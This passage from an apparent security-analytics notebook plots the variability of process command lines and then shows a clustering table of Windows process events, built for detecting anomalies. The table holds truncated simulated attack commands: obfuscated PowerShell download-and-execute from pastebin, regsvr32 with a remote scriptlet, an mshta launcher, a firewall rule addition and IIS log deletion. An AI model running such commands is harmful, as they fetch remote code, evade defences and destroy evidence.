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MmFDdZT8xf/578fHHH7N06VLeeustioqKGDt2bDVX9+T81/43U/w3aSmKolR3EUIIIYQQQghR08jIlBBCCCGEEEJUgjRTQgghhBBCCFEJ0kwJIYQQQgghRCVIMyWEEEIIIYQQlSDNlBBCCCGEEEJUgjRTQgghHqs1a9bw7bffAuDr68uGDRvue561tfVjXTb54sWLTJ48GVtbW2xtbXF1deWHH354bPcXQggh/kqnugsQQgjxbDl69Cht2rR54s/19PTk/fff12wcffz4caZMmcK+ffswMDB44vUIIYR49kkzJYQQ4oGOHj3Kxx9/jImJCenp6dSpU4ePPvpIsylrYWEh165do3379qxcuZLw8HBSU1MJDAxEW1sbgJMnTzJq1ChycnJo27Yty5Yto169eg997tq1a4mNjUVbW5sXX3yRuXPnYmRkRGZmJrNnzyYvLw8jIyMURcHOzg5HR0euXbtGUVGR5h49evRg5cqVmjoOHDjAypUrUavV1KtXjwULFtC+fXu+/fZb1qxZg1qtpn79+syaNYtOnTrxySefkJKSQnZ2Nu3atePjjz9m3bp17N27F7VaTfPmzZk/fz5Nmzatuj8AIYQQTzdFCCGEeIDvv/9ead++vXL8+HFFURRl69atioODg/LRRx8pUVFRiqIoSklJiWJjY6Ps2bNHURRFcXV1VeLj4xVFURQfHx9l+PDhSlFRkVJWVqY4ODgokZGRiqIoipWVlXLq1Kl7nhkeHq6MHDlSKSwsVBRFUVavXq28/fbbiqIoirOzs7JlyxZFURTlwoULSufOnZWdO3cqiqIou3btUl577TWlT58+iqenp7J582blxo0biqIoyrVr15Tu3bsrP//8s6IoipKQkKBMmDBBuXDhgvL6668rv/32m6IoinL48GGlT58+Sn5+vrJ69Wpl0KBBSmlpqaIoihIZGam8//77mp+3b9+uTJw48TElLYQQoiaSkSkhhBAP1b59e1577TUAnJycWLhwIRs2bCA1NZXPP/+cX3/9lezs7AqjQn/2xhtvULduXQDatm3L9evXH/q8pKQkHB0dNaNXY8eOJTg4mJycHE6dOsVXX30FgKmpKebm5prrbGxsePPNNzlx4gTHjx9n586drFu3jq+//pozZ87Qtm1bOnToAMDAgQMZOHAgW7ZswdzcnJYtWwLQu3dvGjduTGpqKgBdunRBR6f8fyoPHDjA6dOncXJyAkCtVnP79u1/HqgQQohnhjRTQgghHuruNLk/mzlzJvXq1WPw4MFYWlpy+fJlFEW57/V3mxEALS2tB553l1qtRktLq8LPZWVl6OnpAVS4/m5tFy9eJDIykpkzZ/L666/z+uuvM336dNzd3UlISKB169YV7qkoCufOnbvnWXc/KysrA6gwHVGtVjNx4kRGjx4NQElJCXl5eQ/9XYQQQjzbZDU/IYQQD3X27FnOnj0LwNdff03Xrl356aefmDp1KkOGDAHgp59+QqVSAeUNzt1mpDL69evHzp07NSNdmzdvpkePHujr69OtWzciIiIAyMrK4siRI2hpadGkSRPCwsLYs2eP5j43b97k6tWrdOjQgc6dO3Px4kXOnz8PwL59+/Dy8qJ379589913ZGVlAXDkyBEuX75M586d76mrb9++hIeHU1BQAMCqVavw9vau9O8phBCi5pORKSGEEA/VpEkTVq5cye+//07jxo0JDAzk4MGDTJ06lXr16tGgQQN69OjBb7/9BpQveb58+XJKS0sfeW9XV1dq1frfv9ebOXMmLi4uXL58mREjRqBWq3nhhRf4+OOPAQgICGDOnDls3bqVpk2b0qJFC+rUqUPDhg3ZuHEjy5YtIzAwkLp161K7dm2mTJlC7969Afj444/x8fFBpVLRoEEDVqxYQZs2bZg/fz4eHh6oVCrq1KlDcHAw+vr699Q6YsQIrl69irOzM1paWjRr1oyPPvrocUQshBCihtJSHjXfQgghxH/W0aNHWbRoEbt3767uUgBYt24dAwcOxNTUlPz8fOzs7Pj888+rZSl2IYQQQkamhBBC1BitW7fmgw8+oFatWqhUKiZNmiSNlBBCiGojI1NCCCGEEEIIUQmyAIUQQgghhBBCVII0U0IIIYQQQghRCdJMCSGEEEIIIUQlSDMlhBBCCCGEEJUgzZQQQgghhBBCVII0U0IIIYQQQghRCf8PK3AIMR74fWEAAAAASUVORK5CYII=", "text/plain": [ "
" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "# Looking at the variability of commandlines and process image paths\n", "import seaborn as sns\n", "\n", "sns.set(style=\"darkgrid\")\n", "\n", "proc_plot = sns.catplot(\n", " y=\"processName\",\n", " x=\"commandlineTokensFull\",\n", " data=feature_procs.sort_values(\"processName\"),\n", " kind=\"box\",\n", " height=10,\n", ")\n", "proc_plot.fig.suptitle(\"Variability of Commandline Tokens\", x=1, y=1)\n", "\n", "proc_plot = sns.catplot(\n", " y=\"processName\",\n", " x=\"pathLogScore\",\n", " data=feature_procs.sort_values(\"processName\"),\n", " kind=\"box\",\n", " height=10,\n", " hue=\"isSystemSession\",\n", ")\n", "proc_plot.fig.suptitle(\"Variability of Path\", x=1, y=1)\n", "\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The top graph shows that, for a given process, some have a wide variability in their command line content while the majority have little or none. Looking at a couple of examples - like cmd.exe, powershell.exe, reg.exe, net.exe - we can recognize several common command line tools.\n", "\n", "The second graph shows processes by full process path content. We wouldn't normally expect to see variation here - as is the cast with most. There is also quite a lot of variance in the score making it a useful proxy feature for unique path name (this means that proc1.exe and proc2.exe that have the same commandline score won't get collapsed into the same cluster).\n", "\n", "Any process with a spread of values here means that we are seeing the same process name (but not necessarily the same file) is being run from different locations." ] }, { "cell_type": "code", "execution_count": 5, "metadata": {}, "outputs": [ { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
TimeGeneratedLastEventTimeNewProcessNameCommandLineClusterSizecommandlineTokensFullpathScoreisSystemSession
462019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Diagnostics\\UserTmp\\reg.exe.\\reg not /domain:everything that /sid:shines is /krbtgt:golden !1162951False
3562019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\222\\pmfexe.exe\"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\222\\pmfexe.exe...1279108True
3012019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Windows\\System32\\cmd.exe\"cmd\"122570True
2562019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\WindowsAzure\\GuestAgent_2.7.41491.901_2019-01-14_202614\\CollectGuestLogs.exe\"CollectGuestLogs.exe\" -Mode:ga -FileName:C:\\WindowsAzure\\CollectGuestLogsTemp\\710dc858-9c96-4df...1186421True
2192019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Windows\\System32\\wermgr.exeC:\\Windows\\system32\\wermgr.exe -upload172922True
1982019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Diagnostics\\UserTmp\\cmd.execmd /c echo \" SYSTEMINFO && SYSTEMINFO && DEL \"1172941False
1952019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Diagnostics\\UserTmp\\cmd.execmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&c:\\windows\\system32\\inetsrv\\appcmd set config \"Default Web S...1392941False
1762019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Diagnostics\\UserTmp\\wuauclt.exe.\\wuauclt.exe /C \"c:\\windows\\softwaredistribution\\cscript.exe\"1143406False
1712019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Windows\\System32\\svchost.exec:\\Windows\\System32\\svchost.exe -k malicious193040False
1632019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Diagnostics\\UserTmp\\netsh.exe.\\netsh advfirewall firewall add rule name=RbtGskQ action=allow program=c:\\users\\Bob\\appdata\\Ro...1183179False
1622019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Diagnostics\\UserTmp\\cmd.execmd /c C:\\Windows\\System32\\mshta.exe vbscript:CreateObject(\"Wscript.Shell\").Run(\".\\powershell.e...1562941False
1392019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Diagnostics\\UserTmp\\powershell.exe.\\powershell -command \"(New-Object Net.WebClient).DownloadString(('ht'+'tp://pasteb' + 'bin/'+'...1363726False
1342019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Windows\\System32\\wbem\\WmiPrvSE.exeC:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding183546True
1332019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Windows\\System32\\sppsvc.exeC:\\Windows\\system32\\sppsvc.exe152933True
1302019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Diagnostics\\UserTmp\\powershell.exe.\\powershell -Noninteractive -Noprofile -Command \"Invoke-Expression Get-Process; Invoke-WebRequ...1253726False
1102019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Diagnostics\\UserTmp\\cmd.execmd /c \".\\pOWErS^H^ElL^.eX^e^ -^ExEc^Ut^IoNpOliCy BYpa^sS i^mPOr^T-^M^oDuLE biTsTr^ANSFe^R;^S^t...1462941False
2922019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Windows\\System32\\taskhostw.exetaskhostw.exe SYSTEM123262True
1062019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Diagnostics\\UserTmp\\powershell.exe.\\powershell.exe -c \"$a = 'Download'+'String'+\"(('ht'+'tp://paste'+ 'bin/'+'raw/'+'pqCwEm17'))\"...1683726False
572019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Diagnostics\\UserTmp\\tsetup.1.exec:\\Diagnostics\\UserTmp\\tsetup.1.exe C:\\Users\\MSTICAdmin\\AppData\\Local\\Temp\\2\\is-01DD7.tmp\\tsetu...1403405False
592019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Diagnostics\\UserTmp\\netsh.exe.\\netsh.exe \"in (*.exe) do start # artificial commandline solely for purposes of triggering test\"1223179False
612019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Diagnostics\\UserTmp\\cmd.exe.\\cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&powershell Enable-WSManCredSSP =2013Role Server -force&ech...1282941False
642019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Diagnostics\\UserTmp\\cmd.exe.\\cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&c:\\windows\\system32\\inetsrv\\appcmd set config \"Default Web...1412941False
652019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Diagnostics\\UserTmp\\cmd.exe.\\cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&del C:\\inetpub\\logs\\logFiles\\W3SVC1\\*.log /q&echo [S]&cd&e...1322941False
742019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Windows\\System32\\dllhost.exeC:\\Windows\\system32\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}1123024True
622019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Diagnostics\\UserTmp\\cmd.exe.\\cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&powershell winrm set winrm/config/service/Auth @{Kerberos=...1312941False
782019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Windows\\System32\\cmd.execmd /c echo timb@microsoft.com; romead@microsoft.com; ianhelle@microsoft.com; marcook@microsoft...1212570False
822019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Windows\\System32\\net1.exeC:\\Windows\\system32\\net1 share TestShare=c:\\testshare /Grant:Users,Read1132638False
832019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Windows\\System32\\Dism.exedism /online /enable-feature /featurename:File-Services /NoRestart1112659True
862019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Windows\\Temp\\CC563BBE-DE32-44D3-8E35-F3FC78E72E40\\DismHost.exeC:\\Windows\\TEMP\\CC563BBE-DE32-44D3-8E35-F3FC78E72E40\\dismhost.exe {D57BA872-53C0-424D-80AE-E4911...1154900True
872019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Windows\\servicing\\TrustedInstaller.exeC:\\Windows\\servicing\\TrustedInstaller.exe154175True
942019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Diagnostics\\UserTmp\\regsvr32.exe.\\regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll1203399False
752019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Windows\\System32\\cmd.execmd.exe /c c:\\Diagnostics\\WindowsSimulateDetections.bat c:\\Diagnostics\\UserTmp1122570True
1082019-01-15 04:23:43.1032019-01-15 05:15:20.623C:\\Diagnostics\\UserTmp\\powershell.exe.\\powershell -c {IEX (New-Object Net.WebClient).DownloadString(('ht'+(\"{2}{0}{1}\"-f ':/','/past...1533726False
632019-01-15 05:15:16.8502019-01-15 05:15:17.580C:\\Diagnostics\\UserTmp\\cmd.exe.\\cmd /c \"cd /d \"C:\\ProgramData\"&copy \\\\[REDACTED]\\c$\\users\\[REDACTED]\\Documents\\\"Password Chan...2292941False
2112019-01-15 05:15:19.2232019-01-15 05:15:19.337C:\\Diagnostics\\UserTmp\\hd.exehd.exe -pslist242837False
